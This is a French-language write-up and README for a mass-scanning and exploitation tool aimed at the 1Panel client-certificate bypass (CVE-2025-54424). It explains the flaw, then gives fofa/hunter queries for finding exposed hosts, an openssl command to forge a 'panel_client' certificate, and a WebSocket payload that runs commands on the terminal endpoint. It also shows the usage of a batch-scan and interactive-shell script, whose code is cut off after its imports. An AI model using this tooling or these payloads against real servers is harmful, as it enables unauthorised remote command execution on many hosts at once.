
Outil d'exploitation pour 1Panel CVE-2025-54424, permettant le contournement de certificat et l'exécution de commandes à distance via WebSocket, avec analyse par lots et shell interactif.
CVE-2025-54424 : Outil intégré (scan + exploitation) pour la vulnérabilité RCE contournant le certificat client de 1Panel
1Panel est un panneau de gestion d'exploitation Linux moderne, open source, offrant une interface graphique pour déployer des sites web, gérer des serveurs et exécuter des services.
Dans la version affectée, la politique d'authentification TLS de l'Agent est tls.RequireAnyClientCert, qui exige seulement la présentation d'un certificat mais ne vérifie pas sa fiabilité. Un attaquant peut contourner la validation TLS avec un certificat auto-signé, et falsifier le champ CN en panel_client pour contourner la validation au niveau applicatif. Il peut ainsi invoquer des interfaces non autorisées d'exécution de commande, conduisant à une exécution de commande à distance (RCE).
<= v2.0.5
Requêtes hunter et fofa :
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Copie de l'avis GitHub

agent/init/router/router.go
On constate que la fonction Routers fait appel à la fonction Certificate pour une vérification globale agent/middleware/certificate.go

La fonction Certificate vérifie si c.Request.TLS.HandshakeComplete a bien effectué une communication TLS

La vérité/fausseté de c.Request.TLS.HandshakeComplete est déterminée par la fonction Start du fichier agent/server/server.go via tls.RequireAnyClientCert
Note : Ici, l'utilisation de tls.RequireAnyClientCert au lieu de tls.RequireAndVerifyClientCert signifie que RequireAnyClientCert exige seulement la présentation d'un certificat par le client, sans vérifier la CA émettrice. Ainsi, n'importe quel certificat auto-signé peut passer la poignée de main TLS.
Ensuite, dans les autres vérifications de la fonction Certificate, seul le champ CN du certificat est vérifié (doit être panel_client), sans vérifier l'émetteur du certificat. Enfin, on découvre que la connexion WebSocket peut contourner la vérification Proxy-ID.

Il existe de nombreuses interfaces WebSocket dans le projet.
/process/ws
Format de requête :{
"type": "ps", // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression de téléchargement)
"pid": 123, // Optionnel, filtrer par PID
"name": "process_name", // Optionnel, filtrer par nom de processus
"username": "user" // Optionnel, filtrer par nom d'utilisateur
}

/hosts/terminal
Format de requête :{
"type": "cmd",
"data": "d2hvYW1pCg==" // Encodage base64 de "whoami", ne pas oublier le saut de ligne
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
panel_client.crt et panel_client.key générés dans Burp, ouvrir une requête WebSocket, définir la cible et démarrer la requête.Utiliser mon outil, le script CVE-2025-54424.py, pour la détection et l'exploitation en masse. Instructions d'utilisation ci-dessous.
Installer les dépendances nécessaires : pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 单个目标,进入利用模式。例如: 192.168.1.100:8080
-f FILE, --file FILE 目标文件,进入批量扫描模式。
-o OUTPUT, --output OUTPUT
[扫描模式] 保存漏洞结果的文件名。
-t THREADS, --threads THREADS
[扫描模式] 并发线程数。
--proxy PROXY 为所有请求设置代理。例如: http://127.0.0.1:8080
Exemple de détection unique avec exécution de commande (shell interactif SSH) :

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---